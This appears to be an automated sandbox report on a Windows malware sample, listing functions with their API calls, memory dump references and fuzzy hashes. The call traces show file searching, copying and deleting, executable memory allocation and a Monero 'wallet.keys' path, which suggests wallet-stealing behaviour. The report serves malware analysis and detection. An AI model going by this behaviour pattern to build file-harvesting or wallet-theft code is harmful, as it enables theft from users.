Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

lstrlen.KERNEL32(00000000), ref: 00AFB16A
lstrlen.KERNEL32(00000000), ref: 00AFB17E

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: d6114a1d3fee156a4ce917fd5c9df27f99af282846e187c8a0df46a5b9de6062
Instruction ID: fd2f024e37662eae8b1275b7e341320d4bbf8e22356dae55109e04eadb8d1e8e
Opcode Fuzzy Hash: d6114a1d3fee156a4ce917fd5c9df27f99af282846e187c8a0df46a5b9de6062
Instruction Fuzzy Hash: A191E2729103089BDB04EBA4DD96EEE77B8AF54300F408999F507B61D1EF346A49CB72

Function 00AFB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

lstrlen.KERNEL32(00000000), ref: 00AFB42E
lstrlen.KERNEL32(00000000), ref: 00AFB442

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 69eb52c01f1910bed063f92c533f76eacddb0ebb7ce862093794f1b2177eac4d
Instruction ID: 2c99b1ecb547b7923e1ba1ad43de35848607ea66335e2a623959603273259172
Opcode Fuzzy Hash: 69eb52c01f1910bed063f92c533f76eacddb0ebb7ce862093794f1b2177eac4d
Instruction Fuzzy Hash: 8871F371A103089BDB04FBA4DD96EEE77B8BF54300F404998F546A61D1EF34AA09CB62

Function 00B04BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B08DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B08E0B

lstrcat.KERNEL32(?,00000000), ref: 00B04BEA
lstrcat.KERNEL32(?,0076D308), ref: 00B04C08

Part of subcall function 00B04910: wsprintfA.USER32 ref: 00B0492C
Part of subcall function 00B04910: FindFirstFileA.KERNEL32(?,?), ref: 00B04943

Part of subcall function 00B04910: StrCmpCA.SHLWAPI(?,00B10FDC), ref: 00B04971
Part of subcall function 00B04910: StrCmpCA.SHLWAPI(?,00B10FE0), ref: 00B04987
Part of subcall function 00B04910: FindNextFileA.KERNEL32(000000FF,?), ref: 00B04B7D
Part of subcall function 00B04910: FindClose.KERNEL32(000000FF), ref: 00B04B92

Part of subcall function 00B04910: wsprintfA.USER32 ref: 00B049B0
Part of subcall function 00B04910: StrCmpCA.SHLWAPI(?,00B108D2), ref: 00B049C5
Part of subcall function 00B04910: wsprintfA.USER32 ref: 00B049E2
Part of subcall function 00B04910: PathMatchSpecA.SHLWAPI(?,?), ref: 00B04A1E
Part of subcall function 00B04910: lstrcat.KERNEL32(?,0076EC38), ref: 00B04A4A
Part of subcall function 00B04910: lstrcat.KERNEL32(?,00B10FF8), ref: 00B04A5C
Part of subcall function 00B04910: lstrcat.KERNEL32(?,?), ref: 00B04A70
Part of subcall function 00B04910: lstrcat.KERNEL32(?,00B10FFC), ref: 00B04A82
Part of subcall function 00B04910: lstrcat.KERNEL32(?,?), ref: 00B04A96
Part of subcall function 00B04910: CopyFileA.KERNEL32(?,?,00000001), ref: 00B04AAC
Part of subcall function 00B04910: DeleteFileA.KERNEL32(?), ref: 00B04B31

Part of subcall function 00B04910: wsprintfA.USER32 ref: 00B04A07

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 12bce38b6ffd85d9a7ab9992ac829753118b2317b7685a4ddede1a597acfa139
Instruction ID: 3715742880c747cc4147e5c0dd723aae8b92cada6300f744b0abcac0eb6c341c
Opcode Fuzzy Hash: 12bce38b6ffd85d9a7ab9992ac829753118b2317b7685a4ddede1a597acfa139
Instruction Fuzzy Hash: AB41DAB7600204ABC754F7A4EC42EFE377DA785300F408558B68996295ED719BCC8BA2

Function 00AF6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00AF6706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00AF6753

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 804aa4feb23bc409163f6f58de19d9cef8b89095a32cb06742694c0ed0be64e1
Instruction ID: 2963460d005add25b6091607b59b48ba33f58d230785e18ce85fd2ada66caecc
Opcode Fuzzy Hash: 804aa4feb23bc409163f6f58de19d9cef8b89095a32cb06742694c0ed0be64e1
Instruction Fuzzy Hash: BA41BA74A00209EFCB44CF98C494BADBBB1FF44354F248699E9599B355D731EA81CF84

Function 00B05050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B08DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B08E0B

lstrcat.KERNEL32(?,00000000), ref: 00B0508A
lstrcat.KERNEL32(?,0076E408), ref: 00B050A8

Part of subcall function 00B04910: wsprintfA.USER32 ref: 00B0492C
Part of subcall function 00B04910: FindFirstFileA.KERNEL32(?,?), ref: 00B04943

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 304df56ddf54553b69e9e089600904fa77d9366a749ff2720a108e7e3433aa29
Instruction ID: 584817568f3e69ca55f0953d4838828a2dfa8addcf22196955cc8398c38ea841
Opcode Fuzzy Hash: 304df56ddf54553b69e9e089600904fa77d9366a749ff2720a108e7e3433aa29
Instruction Fuzzy Hash: 91019B76A0030857C754FB74DC42EEE777CAB54300F004594B6CA961D1EE719BC88BE2

Function 00AF10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00AF10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00AF10F7

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: b247cc385a86bab197734e1601092e7bb8b734290cfd99778c34111a7a8d7630
Instruction ID: bc7fb3ef8fa0b0994f9ce0c60d95eaa45da8a9a190bc67879f42aa934b425b16
Opcode Fuzzy Hash: b247cc385a86bab197734e1601092e7bb8b734290cfd99778c34111a7a8d7630
Instruction Fuzzy Hash: B2F0E2B1641308BBE7149BA8AC49FBAB7E8E705B15F301848F684E3280D9719F00CAA0

Function 00B08D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00AF1B54,?,?,00B1564C,?,?,00B10E1F), ref: 00B08D9F

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 3e6d23971143aead03773fdeefee0cd9d882f05e86cb05b97895677959c1e343
Instruction ID: f861af1679c14629994052a4c87d7a60e3a87f2ac36df510fb98ea426b5d952a
Opcode Fuzzy Hash: 3e6d23971143aead03773fdeefee0cd9d882f05e86cb05b97895677959c1e343
Instruction Fuzzy Hash: 24F0A570D00308EBCB04EFA4D949ADCBBB4EB10310F1086E9E8A6A73D0DB749B55DB81

Function 00B08DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B08E0B

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
